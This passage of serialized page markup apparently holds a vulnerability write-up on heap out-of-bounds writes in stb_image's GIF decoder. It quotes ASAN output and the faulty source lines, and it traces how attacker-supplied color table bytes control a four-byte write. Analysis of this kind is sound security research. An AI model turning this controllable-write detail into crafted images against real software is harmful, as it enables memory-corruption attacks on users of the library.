g",{"type":23,"tag":41,"props":147669,"children":147670},{"style":70},[147671],{"type":28,"value":2453},{"type":23,"tag":41,"props":147673,"children":147674},{"style":858},[147675],{"type":28,"value":147676},"max_y",{"type":23,"tag":41,"props":147678,"children":147679},{"style":70},[147680],{"type":28,"value":866},{"type":23,"tag":41,"props":147682,"children":147683},{"style":58},[147684],{"type":28,"value":48451},{"type":23,"tag":41,"props":147686,"children":147687},{"style":70},[147688],{"type":28,"value":183},{"type":23,"tag":41,"props":147690,"children":147691},{"class":43,"line":905},[147692],{"type":23,"tag":41,"props":147693,"children":147694},{"emptyLinePlaceholder":18},[147695],{"type":28,"value":82},{"type":23,"tag":41,"props":147697,"children":147698},{"class":43,"line":922},[147699,147704,147708,147712,147716,147721,147725,147729,147733,147737],{"type":23,"tag":41,"props":147700,"children":147701},{"style":70},[147702],{"type":28,"value":147703},"   idx ",{"type":23,"tag":41,"props":147705,"children":147706},{"style":170},[147707],{"type":28,"value":2381},{"type":23,"tag":41,"props":147709,"children":147710},{"style":858},[147711],{"type":28,"value":147667},{"type":23,"tag":41,"props":147713,"children":147714},{"style":70},[147715],{"type":28,"value":2453},{"type":23,"tag":41,"props":147717,"children":147718},{"style":858},[147719],{"type":28,"value":147720},"cur_x",{"type":23,"tag":41,"props":147722,"children":147723},{"style":170},[147724],{"type":28,"value":8901},{"type":23,"tag":41,"props":147726,"children":147727},{"style":858},[147728],{"type":28,"value":147667},{"type":23,"tag":41,"props":147730,"children":147731},{"style":70},[147732],{"type":28,"value":2453},{"type":23,"tag":41,"props":147734,"children":147735},{"style":858},[147736],{"type":28,"value":147658},{"type":23,"tag":41,"props":147738,"children":147739},{"style":70},[147740],{"type":28,"value":147741},"; \n",{"type":23,"tag":41,"props":147743,"children":147744},{"class":43,"line":930},[147745,147750,147754,147758,147762,147766,147770],{"type":23,"tag":41,"props":147746,"children":147747},{"style":70},[147748],{"type":28,"value":147749},"   p ",{"type":23,"tag":41,"props":147751,"children":147752},{"style":170},[147753],{"type":28,"value":2381},{"type":23,"tag":41,"props":147755,"children":147756},{"style":170},[147757],{"type":28,"value":7140},{"type":23,"tag":41,"props":147759,"children":147760},{"style":858},[147761],{"type":28,"value":109016},{"type":23,"tag":41,"props":147763,"children":147764},{"style":70},[147765],{"type":28,"value":2453},{"type":23,"tag":41,"props":147767,"children":147768},{"style":858},[147769],{"type":28,"value":118439},{"type":23,"tag":41,"props":147771,"children":147772},{"style":70},[147773],{"type":28,"value":147774},"[idx];\n",{"type":23,"tag":41,"props":147776,"children":147777},{"class":43,"line":939},[147778,147783,147787,147792,147797,147801,147805,147809,147813,147817,147821],{"type":23,"tag":41,"props":147779,"children":147780},{"style":858},[147781],{"type":28,"value":147782},"   g",{"type":23,"tag":41,"props":147784,"children":147785},{"style":70},[147786],{"type":28,"value":2453},{"type":23,"tag":41,"props":147788,"children":147789},{"style":858},[147790],{"type":28,"value":147791},"history",{"type":23,"tag":41,"props":147793,"children":147794},{"style":70},[147795],{"type":28,"value":147796},"[idx ",{"type":23,"tag":41,"props":147798,"children":147799},{"style":170},[147800],{"type":28,"value":4579},{"type":23,"tag":41,"props":147802,"children":147803},{"style":164},[147804],{"type":28,"value":11742},{"type":23,"tag":41,"props":147806,"children":147807},{"style":70},[147808],{"type":28,"value":8659},{"type":23,"tag":41,"props":147810,"children":147811},{"style":170},[147812],{"type":28,"value":2381},{"type":23,"tag":41,"props":147814,"children":147815},{"style":164},[147816],{"type":28,"value":167},{"type":23,"tag":41,"props":147818,"children":147819},{"style":70},[147820],{"type":28,"value":49068},{"type":23,"tag":41,"props":147822,"children":147823},{"style":48},[147824],{"type":28,"value":147825},"          // OOB write\n",{"type":23,"tag":24,"props":147827,"children":147828},{},[147829,147831,147836,147838,147844,147846,147852],{"type":28,"value":147830},"It’s reasonable to assume ",{"type":23,"tag":37,"props":147832,"children":147834},{"className":147833},[],[147835],{"type":28,"value":76512},{"type":28,"value":147837}," is outside the bounds of ",{"type":23,"tag":37,"props":147839,"children":147841},{"className":147840},[],[147842],{"type":28,"value":147843},"g->history",{"type":28,"value":147845},", which leads to a one-byte OOB write (",{"type":23,"tag":37,"props":147847,"children":147849},{"className":147848},[],[147850],{"type":28,"value":147851},"g->history[idx / 4] = 1",{"type":28,"value":147853},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":147855,"children":147856},{},[147857,147859,147864,147866,147872,147874,147879,147881,147887,147889,147895],{"type":28,"value":147858},"Because ",{"type":23,"tag":37,"props":147860,"children":147862},{"className":147861},[],[147863],{"type":28,"value":24},{"type":28,"value":147865}," is computed from ",{"type":23,"tag":37,"props":147867,"children":147869},{"className":147868},[],[147870],{"type":28,"value":147871},"g->out[idx]",{"type":28,"value":147873}," immediately before the violation, we considered whether ",{"type":23,"tag":37,"props":147875,"children":147877},{"className":147876},[],[147878],{"type":28,"value":76512},{"type":28,"value":147880}," could also be OOB for ",{"type":23,"tag":37,"props":147882,"children":147884},{"className":147883},[],[147885],{"type":28,"value":147886},"g->out",{"type":28,"value":147888},". Note that computing the address ",{"type":23,"tag":37,"props":147890,"children":147892},{"className":147891},[],[147893],{"type":28,"value":147894},"&g->out[idx]",{"type":28,"value":147896}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":147898,"children":147899},{},[147900,147902,147907],{"type":28,"value":147901},"If we comment out ",{"type":23,"tag":37,"props":147903,"children":147905},{"className":147904},[],[147906],{"type":28,"value":147851},{"type":28,"value":147908}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":31,"props":147910,"children":147912},{"code":147911},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[147913],{"type":23,"tag":37,"props":147914,"children":147915},{"__ignoreMap":7},[147916],{"type":28,"value":147911},{"type":23,"tag":24,"props":147918,"children":147919},{},[147920],{"type":28,"value":147921},"This corresponds to:",{"type":23,"tag":31,"props":147923,"children":147925},{"code":147924,"language":3146,"meta":7,"className":16503,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[147926],{"type":23,"tag":37,"props":147927,"children":147928},{"__ignoreMap":7},[147929,147968,147975,147982,147989,148032,148063,148107,148114,148182,148222,148267,148306,148345,148384],{"type":23,"tag":41,"props":147930,"children":147931},{"class":43,"line":44},[147932,147936,147940,147944,147948,147952,147956,147960,147964],{"type":23,"tag":41,"props":147933,"children":147934},{"style":64},[147935],{"type":28,"value":51039},{"type":23,"tag":41,"props":147937,"children":147938},{"style":64},[147939],{"type":28,"value":51044},{"type":23,"tag":41,"props":147941,"children":147942},{"style":114},[147943],{"type":28,"value":147540},{"type":23,"tag":41,"props":147945,"children":147946},{"style":70},[147947],{"type":28,"value":147545},{"type":23,"tag":41,"props":147949,"children":147950},{"style":170},[147951],{"type":28,"value":377},{"type":23,"tag":41,"props":147953,"children":147954},{"style":858},[147955],{"type":28,"value":109016},{"type":23,"tag":41,"props":147957,"children":147958},{"style":70},[147959],{"type":28,"value":147558},{"type":23,"tag":41,"props":147961,"children":147962},{"style":858},[147963],{"type":28,"value":37},{"type":23,"tag":41,"props":147965,"children":147966},{"style":70},[147967],{"type":28,"value":1969},{"type":23,"tag":41,"props":147969,"children":147970},{"class":43,"line":54},[147971],{"type":23,"tag":41,"props":147972,"children":147973},{"style":70},[147974],{"type":28,"value":1559},{"type":23,"tag":41,"props":147976,"children":147977},{"class":43,"line":76},[147978],{"type":23,"tag":41,"props":147979,"children":147980},{"style":70},[147981],{"type":28,"value":147627},{"type":23,"tag":41,"props":147983,"children":147984},{"class":43,"line":85},[147985],{"type":23,"tag":41,"props":147986,"children":147987},{"emptyLinePlaceholder":18},[147988],{"type":28,"value":82},{"type":23,"tag":41,"props":147990,"children":147991},{"class":43,"line":105},[147992,147996,148000,148004,148008,148012,148016,148020,148024,148028],{"type":23,"tag":41,"props":147993,"children":147994},{"style":70},[147995],{"type":28,"value":147703},{"type":23,"tag":41,"props":147997,"children":147998},{"style":170},[147999],{"type":28,"value":2381},{"type":23,"tag":41,"props":148001,"children":148002},{"style":858},[148003],{"type":28,"value":147667},{"type":23,"tag":41,"props":148005,"children":148006},{"style":70},[148007],{"type":28,"value":2453},{"type":23,"tag":41,"props":148009,"children":148010},{"style":858},[148011],{"type":28,"value":147720},{"type":23,"tag":41,"props":148013,"children":148014},{"style":170},[148015],{"type":28,"value":8901},{"type":23,"tag":41,"props":148017,"children":148018},{"style":858},[148019],{"type":28,"value":147667},{"type":23,"tag":41,"props":148021,"children":148022},{"style":70},[148023],{"type":28,"value":2453},{"type":23,"tag":41,"props":148025,"children":148026},{"style":858},[148027],{"type":28,"value":147658},{"type":23,"tag":41,"props":148029,"children":148030},{"style":70},[148031],{"type":28,"value":147741},{"type":23,"tag":41,"props":148033,"children":148034},{"class":43,"line":155},[148035,148039,148043,148047,148051,148055,148059],{"type":23,"tag":41,"props":148036,"children":148037},{"style":70},[148038],{"type":28,"value":147749},{"type":23,"tag":41,"props":148040,"children":148041},{"style":170},[148042],{"type":28,"value":2381},{"type":23,"tag":41,"props":148044,"children":148045},{"style":170},[148046],{"type":28,"value":7140},{"type":23,"tag":41,"props":148048,"children":148049},{"style":858},[148050],{"type":28,"value":109016},{"type":23,"tag":41,"props":148052,"children":148053},{"style":70},[148054],{"type":28,"value":2453},{"type":23,"tag":41,"props":148056,"children":148057},{"style":858},[148058],{"type":28,"value":118439},{"type":23,"tag":41,"props":148060,"children":148061},{"style":70},[148062],{"type":28,"value":147774},{"type":23,"tag":41,"props":148064,"children":148065},{"class":43,"line":186},[148066,148070,148074,148078,148082,148086,148090,148094,148098,148102],{"type":23,"tag":41,"props":148067,"children":148068},{"style":858},[148069],{"type":28,"value":147782},{"type":23,"tag":41,"props":148071,"children":148072},{"style":70},[148073],{"type":28,"value":2453},{"type":23,"tag":41,"props":148075,"children":148076},{"style":858},[148077],{"type":28,"value":147791},{"type":23,"tag":41,"props":148079,"children":148080},{"style":70},[148081],{"type":28,"value":147796},{"type":23,"tag":41,"props":148083,"children":148084},{"style":170},[148085],{"type":28,"value":4579},{"type":23,"tag":41,"props":148087,"children":148088},{"style":164},[148089],{"type":28,"value":11742},{"type":23,"tag":41,"props":148091,"children":148092},{"style":70},[148093],{"type":28,"value":8659},{"type":23,"tag":41,"props":148095,"children":148096},{"style":170},[148097],{"type":28,"value":2381},{"type":23,"tag":41,"props":148099,"children":148100},{"style":164},[148101],{"type":28,"value":167},{"type":23,"tag":41,"props":148103,"children":148104},{"style":70},[148105],{"type":28,"value":148106},";  \n",{"type":23,"tag":41,"props":148108,"children":148109},{"class":43,"line":195},[148110],{"type":23,"tag":41,"props":148111,"children":148112},{"emptyLinePlaceholder":18},[148113],{"type":28,"value":82},{"type":23,"tag":41,"props":148115,"children":148116},{"class":43,"line":905},[148117,148122,148126,148130,148134,148138,148143,148147,148151,148155,148160,148165,148170,148174,148178],{"type":23,"tag":41,"props":148118,"children":148119},{"style":70},[148120],{"type":28,"value":148121},"   c ",{"type":23,"tag":41,"props":148123,"children":148124},{"style":170},[148125],{"type":28,"value":2381},{"type":23,"tag":41,"props":148127,"children":148128},{"style":170},[148129],{"type":28,"value":7140},{"type":23,"tag":41,"props":148131,"children":148132},{"style":858},[148133],{"type":28,"value":109016},{"type":23,"tag":41,"props":148135,"children":148136},{"style":70},[148137],{"type":28,"value":2453},{"type":23,"tag":41,"props":148139,"children":148140},{"style":858},[148141],{"type":28,"value":148142},"color_table",{"type":23,"tag":41,"props":148144,"children":148145},{"style":70},[148146],{"type":28,"value":312},{"type":23,"tag":41,"props":148148,"children":148149},{"style":858},[148150],{"type":28,"value":109016},{"type":23,"tag":41,"props":148152,"children":148153},{"style":70},[148154],{"type":28,"value":2453},{"type":23,"tag":41,"props":148156,"children":148157},{"style":858},[148158],{"type":28,"value":148159},"codes",{"type":23,"tag":41,"props":148161,"children":148162},{"style":70},[148163],{"type":28,"value":148164},"[code].",{"type":23,"tag":41,"props":148166,"children":148167},{"style":858},[148168],{"type":28,"value":148169},"suffix",{"type":23,"tag":41,"props":148171,"children":148172},{"style":170},[148173],{"type":28,"value":9814},{"type":23,"tag":41,"props":148175,"children":148176},{"style":164},[148177],{"type":28,"value":11742},{"type":23,"tag":41,"props":148179,"children":148180},{"style":70},[148181],{"type":28,"value":31568},{"type":23,"tag":41,"props":148183,"children":148184},{"class":43,"line":922},[148185,148189,148193,148197,148201,148205,148209,148213,148218],{"type":23,"tag":41,"props":148186,"children":148187},{"style":58},[148188],{"type":28,"value":52639},{"type":23,"tag":41,"props":148190,"children":148191},{"style":70},[148192],{"type":28,"value":142},{"type":23,"tag":41,"props":148194,"children":148195},{"style":858},[148196],{"type":28,"value":3146},{"type":23,"tag":41,"props":148198,"children":148199},{"style":70},[148200],{"type":28,"value":312},{"type":23,"tag":41,"props":148202,"children":148203},{"style":164},[148204],{"type":28,"value":17282},{"type":23,"tag":41,"props":148206,"children":148207},{"style":70},[148208],{"type":28,"value":8659},{"type":23,"tag":41,"props":148210,"children":148211},{"style":170},[148212],{"type":28,"value":1022},{"type":23,"tag":41,"props":148214,"children":148215},{"style":164},[148216],{"type":28,"value":148217}," 128",{"type":23,"tag":41,"props":148219,"children":148220},{"style":70},[148221],{"type":28,"value":152},{"type":23,"tag":41,"props":148223,"children":148224},{"class":43,"line":930},[148225,148230,148234,148238,148242,148246,148250,148254,148258,148262],{"type":23,"tag":41,"props":148226,"children":148227},{"style":858},[148228],{"type":28,"value":148229},"      p",{"type":23,"tag":41,"props":148231,"children":148232},{"style":70},[148233],{"type":28,"value":312},{"type":23,"tag":41,"props":148235,"children":148236},{"style":164},[148237],{"type":28,"value":4024},{"type":23,"tag":41,"props":148239,"children":148240},{"style":70},[148241],{"type":28,"value":8659},{"type":23,"tag":41,"props":148243,"children":148244},{"style":170},[148245],{"type":28,"value":2381},{"type":23,"tag":41,"props":148247,"children":148248},{"style":858},[148249],{"type":28,"value":37440},{"type":23,"tag":41,"props":148251,"children":148252},{"style":70},[148253],{"type":28,"value":312},{"type":23,"tag":41,"props":148255,"children":148256},{"style":164},[148257],{"type":28,"value":3123},{"type":23,"tag":41,"props":148259,"children":148260},{"style":70},[148261],{"type":28,"value":55907},{"type":23,"tag":41,"props":148263,"children":148264},{"style":48},[148265],{"type":28,"value":148266},"        // OOB write\n",{"type":23,"tag":41,"props":148268,"children":148269},{"class":43,"line":939},[148270,148274,148278,148282,148286,148290,148294,148298,148302],{"type":23,"tag":41,"props":148271,"children":148272},{"style":858},[148273],{"type":28,"value":148229},{"type":23,"tag":41,"props":148275,"children":148276},{"style":70},[148277],{"type":28,"value":312},{"type":23,"tag":41,"props":148279,"children":148280},{"style":164},[148281],{"type":28,"value":317},{"type":23,"tag":41,"props":148283,"children":148284},{"style":70},[148285],{"type":28,"value":8659},{"type":23,"tag":41,"props":148287,"children":148288},{"style":170},[148289],{"type":28,"value":2381},{"type":23,"tag":41,"props":148291,"children":148292},{"style":858},[148293],{"type":28,"value":37440},{"type":23,"tag":41,"props":148295,"children":148296},{"style":70},[148297],{"type":28,"value":312},{"type":23,"tag":41,"props":148299,"children":148300},{"style":164},[148301],{"type":28,"value":317},{"type":23,"tag":41,"props":148303,"children":148304},{"style":70},[148305],{"type":28,"value":31568},{"type":23,"tag":41,"props":148307,"children":148308},{"class":43,"line":947},[148309,148313,148317,148321,148325,148329,148333,148337,148341],{"type":23,"tag":41,"props":148310,"children":148311},{"style":858},[148312],{"type":28,"value":148229},{"type":23,"tag":41,"props":148314,"children":148315},{"style":70},[148316],{"type":28,"value":312},{"type":23,"tag":41,"props":148318,"children":148319},{"style":164},[148320],{"type":28,"value":3123},{"type":23,"tag":41,"props":148322,"children":148323},{"style":70},[148324],{"type":28,"value":8659},{"type":23,"tag":41,"props":148326,"children":148327},{"style":170},[148328],{"type":28,"value":2381},{"type":23,"tag":41,"props":148330,"children":148331},{"style":858},[148332],{"type":28,"value":37440},{"type":23,"tag":41,"props":148334,"children":148335},{"style":70},[148336],{"type":28,"value":312},{"type":23,"tag":41,"props":148338,"children":148339},{"style":164},[148340],{"type":28,"value":4024},{"type":23,"tag":41,"props":148342,"children":148343},{"style":70},[148344],{"type":28,"value":31568},{"type":23,"tag":41,"props":148346,"children":148347},{"class":43,"line":985},[148348,148352,148356,148360,148364,148368,148372,148376,148380],{"type":23,"tag":41,"props":148349,"children":148350},{"style":858},[148351],{"type":28,"value":148229},{"type":23,"tag":41,"props":148353,"children":148354},{"style":70},[148355],{"type":28,"value":312},{"type":23,"tag":41,"props":148357,"children":148358},{"style":164},[148359],{"type":28,"value":17282},{"type":23,"tag":41,"props":148361,"children":148362},{"style":70},[148363],{"type":28,"value":8659},{"type":23,"tag":41,"props":148365,"children":148366},{"style":170},[148367],{"type":28,"value":2381},{"type":23,"tag":41,"props":148369,"children":148370},{"style":858},[148371],{"type":28,"value":37440},{"type":23,"tag":41,"props":148373,"children":148374},{"style":70},[148375],{"type":28,"value":312},{"type":23,"tag":41,"props":148377,"children":148378},{"style":164},[148379],{"type":28,"value":17282},{"type":23,"tag":41,"props":148381,"children":148382},{"style":70},[148383],{"type":28,"value":31568},{"type":23,"tag":41,"props":148385,"children":148386},{"class":43,"line":1058},[148387],{"type":23,"tag":41,"props":148388,"children":148389},{"style":70},[148390],{"type":28,"value":34742},{"type":23,"tag":24,"props":148392,"children":148393},{},[148394,148396,148401,148403,148408],{"type":28,"value":148395},"This confirms ",{"type":23,"tag":37,"props":148397,"children":148399},{"className":148398},[],[148400],{"type":28,"value":76512},{"type":28,"value":148402}," is OOB for ",{"type":23,"tag":37,"props":148404,"children":148406},{"className":148405},[],[148407],{"type":28,"value":147886},{"type":28,"value":148409}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":148411,"children":148412},{},[148413,148415,148421,148423,148430],{"type":28,"value":148414},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":37,"props":148416,"children":148418},{"className":148417},[],[148419],{"type":28,"value":148420},"g->color_table",{"type":28,"value":148422}," is populated by ",{"type":23,"tag":458,"props":148424,"children":148427},{"href":148425,"rel":148426},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[462],[148428],{"type":28,"value":148429},"stbi__gif_parse_colortable",{"type":28,"value":1474},{"type":23,"tag":31,"props":148432,"children":148434},{"code":148433,"language":3146,"meta":7,"className":16503,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[148435],{"type":23,"tag":37,"props":148436,"children":148437},{"__ignoreMap":7},[148438,148458,148478,148517,148533,148545,148552,148563,148606,148640,148671,148702,148759,148766],{"type":23,"tag":41,"props":148439,"children":148440},{"class":43,"line":44},[148441,148445,148449,148454],{"type":23,"tag":41,"props":148442,"children":148443},{"style":64},[148444],{"type":28,"value":51039},{"type":23,"tag":41,"props":148446,"children":148447},{"style":64},[148448],{"type":28,"value":51044},{"type":23,"tag":41,"props":148450,"children":148451},{"style":114},[148452],{"type":28,"value":148453}," stbi__gif_parse_colortable",{"type":23,"tag":41,"props":148455,"children":148456},{"style":70},[148457],{"type":28,"value":3461},{"type":23,"tag":41,"props":148459,"children":148460},{"class":43,"line":54},[148461,148466,148470,148474],{"type":23,"tag":41,"props":148462,"children":148463},{"style":70},[148464],{"type":28,"value":148465},"    stbi__context ",{"type":23,"tag":41,"props":148467,"children":148468},{"style":170},[148469],{"type":28,"value":377},{"type":23,"tag":41,"props":148471,"children":148472},{"style":858},[148473],{"type":28,"value":10649},{"type":23,"tag":41,"props":148475,"children":148476},{"style":70},[148477],{"type":28,"value":3506},{"type":23,"tag":41,"props":148479,"children":148480},{"class":43,"line":76},[148481,148486,148491,148495,148499,148503,148507,148512],{"type":23,"tag":41,"props":148482,"children":148483},{"style":70},[148484],{"type":28,"value":148485},"    stbi_uc ",{"type":23,"tag":41,"props":148487,"children":148488},{"style":858},[148489],{"type":28,"value":148490},"pal",{"type":23,"tag":41,"props":148492,"children":148493},{"style":70},[148494],{"type":28,"value":312},{"type":23,"tag":41,"props":148496,"children":148497},{"style":164},[148498],{"type":28,"value":93013},{"type":23,"tag":41,"props":148500,"children":148501},{"style":70},[148502],{"type":28,"value":48952},{"type":23,"tag":41,"props":148504,"children":148505},{"style":164},[148506],{"type":28,"value":17515},{"type":23,"tag":41,"props":148508,"children":148509},{"style":70},[148510],{"type":28,"value":148511},"],",{"type":23,"tag":41,"props":148513,"children":148514},{"style":48},[148515],{"type":28,"value":148516},"    // g->color_table\n",{"type":23,"tag":41,"props":148518,"children":148519},{"class":43,"line":85},[148520,148524,148529],{"type":23,"tag":41,"props":148521,"children":148522},{"style":64},[148523],{"type":28,"value":19064},{"type":23,"tag":41,"props":148525,"children":148526},{"style":858},[148527],{"type":28,"value":148528}," num_entries",{"type":23,"tag":41,"props":148530,"children":148531},{"style":70},[148532],{"type":28,"value":3506},{"type":23,"tag":41,"props":148534,"children":148535},{"class":43,"line":105},[148536,148540],{"type":23,"tag":41,"props":148537,"children":148538},{"style":64},[148539],{"type":28,"value":19064},{"type":23,"tag":41,"props":148541,"children":148542},{"style":70},[148543],{"type":28,"value":148544}," transp\n",{"type":23,"tag":41,"props":148546,"children":148547},{"class":43,"line":155},[148548],{"type":23,"tag":41,"props":148549,"children":148550},{"style":70},[148551],{"type":28,"value":152},{"type":23,"tag":41,"props":148553,"children":148554},{"class":43,"line":186},[148555,148559],{"type":23,"tag":41,"props":148556,"children":148557},{"style":64},[148558],{"type":28,"value":147607},{"type":23,"tag":41,"props":148560,"children":148561},{"style":70},[148562],{"type":28,"value":57960},{"type":23,"tag":41,"props":148564,"children":148565},{"class":43,"line":195},[148566,148571,148576,148580,148584,148588,148592,148597,148601],{"type":23,"tag":41,"props":148567,"children":148568},{"style":58},[148569],{"type":28,"value":148570},"   for",{"type":23,"tag":41,"props":148572,"children":148573},{"style":70},[148574],{"type":28,"value":148575}," (i",{"type":23,"tag":41,"props":148577,"children":148578},{"style":170},[148579],{"type":28,"value":2381},{"type":23,"tag":41,"props":148581,"children":148582},{"style":164},[148583],{"type":28,"value":4024},{"type":23,"tag":41,"props":148585,"children":148586},{"style":70},[148587],{"type":28,"value":51228},{"type":23,"tag":41,"props":148589,"children":148590},{"style":170},[148591],{"type":28,"value":1012},{"type":23,"tag":41,"props":148593,"children":148594},{"style":70},[148595],{"type":28,"value":148596}," num_entries; ",{"type":23,"tag":41,"props":148598,"children":148599},{"style":170},[148600],{"type":28,"value":51264},{"type":23,"tag":41,"props":148602,"children":148603},{"style":70},[148604],{"type":28,"value":148605},"i) {\n",{"type":23,"tag":41,"props":148607,"children":148608},{"class":43,"line":905},[148609,148614,148618,148622,148626,148630,148635],{"type":23,"tag":41,"props":148610,"children":148611},{"style":858},[148612],{"type":28,"value":148613},"      pal",{"type":23,"tag":41,"props":148615,"children":148616},{"style":70},[148617],{"type":28,"value":60651},{"type":23,"tag":41,"props":148619,"children":148620},{"style":164},[148621],{"type":28,"value":3123},{"type":23,"tag":41,"props":148623,"children":148624},{"style":70},[148625],{"type":28,"value":8659},{"type":23,"tag":41,"props":148627,"children":148628},{"style":170},[148629],{"type":28,"value":2381},{"type":23,"tag":41,"props":148631,"children":148632},{"style":114},[148633],{"type":28,"value":148634}," stbi__get8",{"type":23,"tag":41,"props":148636,"children":148637},{"style":70},[148638],{"type":28,"value":148639},"(s);\n",{"type":23,"tag":41,"props":148641,"children":148642},{"class":43,"line":922},[148643,148647,148651,148655,148659,148663,148667],{"type":23,"tag":41,"props":148644,"children":148645},{"style":858},[148646],{"type":28,"value":148613},{"type":23,"tag":41,"props":148648,"children":148649},{"style":70},[148650],{"type":28,"value":60651},{"type":23,"tag":41,"props":148652,"children":148653},{"style":164},[148654],{"type":28,"value":317},{"type":23,"tag":41,"props":148656,"children":148657},{"style":70},[148658],{"type":28,"value":8659},{"type":23,"tag":41,"props":148660,"children":148661},{"style":170},[148662],{"type":28,"value":2381},{"type":23,"tag":41,"props":148664,"children":148665},{"style":114},[148666],{"type":28,"value":148634},{"type":23,"tag":41,"props":148668,"children":148669},{"style":70},[148670],{"type":28,"value":148639},{"type":23,"tag":41,"props":148672,"children":148673},{"class":43,"line":930},[148674,148678,148682,148686,148690,148694,148698],{"type":23,"tag":41,"props":148675,"children":148676},{"style":858},[148677],{"type":28,"value":148613},{"type":23,"tag":41,"props":148679,"children":148680},{"style":70},[148681],{"type":28,"value":60651},{"type":23,"tag":41,"props":148683,"children":148684},{"style":164},[148685],{"type":28,"value":4024},{"type":23,"tag":41,"props":148687,"children":148688},{"style":70},[148689],{"type":28,"value":8659},{"type":23,"tag":41,"props":148691,"children":148692},{"style":170},[148693],{"type":28,"value":2381},{"type":23,"tag":41,"props":148695,"children":148696},{"style":114},[148697],{"type":28,"value":148634},{"type":23,"tag":41,"props":148699,"children":148700},{"style":70},[148701],{"type":28,"value":148639},{"type":23,"tag":41,"props":148703,"children":148704},{"class":43,"line":939},[148705,148709,148713,148717,148721,148725,148730,148734,148738,148742,148746,148750,148755],{"type":23,"tag":41,"props":148706,"children":148707},{"style":858},[148708],{"type":28,"value":148613},{"type":23,"tag":41,"props":148710,"children":148711},{"style":70},[148712],{"type":28,"value":60651},{"type":23,"tag":41,"props":148714,"children":148715},{"style":164},[148716],{"type":28,"value":17282},{"type":23,"tag":41,"props":148718,"children":148719},{"style":70},[148720],{"type":28,"value":8659},{"type":23,"tag":41,"props":148722,"children":148723},{"style":170},[148724],{"type":28,"value":2381},{"type":23,"tag":41,"props":148726,"children":148727},{"style":70},[148728],{"type":28,"value":148729}," transp ",{"type":23,"tag":41,"props":148731,"children":148732},{"style":170},[148733],{"type":28,"value":387},{"type":23,"tag":41,"props":148735,"children":148736},{"style":70},[148737],{"type":28,"value":54539},{"type":23,"tag":41,"props":148739,"children":148740},{"style":170},[148741],{"type":28,"value":3155},{"type":23,"tag":41,"props":148743,"children":148744},{"style":164},[148745],{"type":28,"value":392},{"type":23,"tag":41,"props":148747,"children":148748},{"style":170},[148749],{"type":28,"value":35110},{"type":23,"tag":41,"props":148751,"children":148752},{"style":164},[148753],{"type":28,"value":148754}," 255",{"type":23,"tag":41,"props":148756,"children":148757},{"style":70},[148758],{"type":28,"value":183},{"type":23,"tag":41,"props":148760,"children":148761},{"class":43,"line":947},[148762],{"type":23,"tag":41,"props":148763,"children":148764},{"style":70},[148765],{"type":28,"value":34742},{"type":23,"tag":41,"props":148767,"children":148768},{"class":43,"line":985},[148769],{"type":23,"tag":41,"props":148770,"children":148771},{"style":70},[148772],{"type":28,"value":201},{"type":23,"tag":24,"props":148774,"children":148775},{},[148776,148778,148783,148784,148789,148791,148796],{"type":28,"value":148777},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":37,"props":148779,"children":148781},{"className":148780},[],[148782],{"type":28,"value":4024},{"type":28,"value":13129},{"type":23,"tag":37,"props":148785,"children":148787},{"className":148786},[],[148788],{"type":28,"value":113061},{"type":28,"value":148790},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":37,"props":148792,"children":148794},{"className":148793},[],[148795],{"type":28,"value":29843},{"type":28,"value":1474},{"type":23,"tag":31,"props":148798,"children":148800},{"code":148799,"language":3146,"meta":7,"className":16503,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[148801],{"type":23,"tag":37,"props":148802,"children":148803},{"__ignoreMap":7},[148804,148867,148906,148945,148984,149023,149062],{"type":23,"tag":41,"props":148805,"children":148806},{"class":43,"line":44},[148807,148811,148815,148819,148823,148827,148831,148835,148839,148843,148847,148851,148855,148859,148863],{"type":23,"tag":41,"props":148808,"children":148809},{"style":70},[148810],{"type":28,"value":148121},{"type":23,"tag":41,"props":148812,"children":148813},{"style":170},[148814],{"type":28,"value":2381},{"type":23,"tag":41,"props":148816,"children":148817},{"style":170},[148818],{"type":28,"value":7140},{"type":23,"tag":41,"props":148820,"children":148821},{"style":70},[148822],{"type":28,"value":109016},{"type":23,"tag":41,"props":148824,"children":148825},{"style":170},[148826],{"type":28,"value":2453},{"type":23,"tag":41,"props":148828,"children":148829},{"style":858},[148830],{"type":28,"value":148142},{"type":23,"tag":41,"props":148832,"children":148833},{"style":70},[148834],{"type":28,"value":312},{"type":23,"tag":41,"props":148836,"children":148837},{"style":858},[148838],{"type":28,"value":109016},{"type":23,"tag":41,"props":148840,"children":148841},{"style":70},[148842],{"type":28,"value":2453},{"type":23,"tag":41,"props":148844,"children":148845},{"style":858},[148846],{"type":28,"value":148159},{"type":23,"tag":41,"props":148848,"children":148849},{"style":70},[148850],{"type":28,"value":148164},{"type":23,"tag":41,"props":148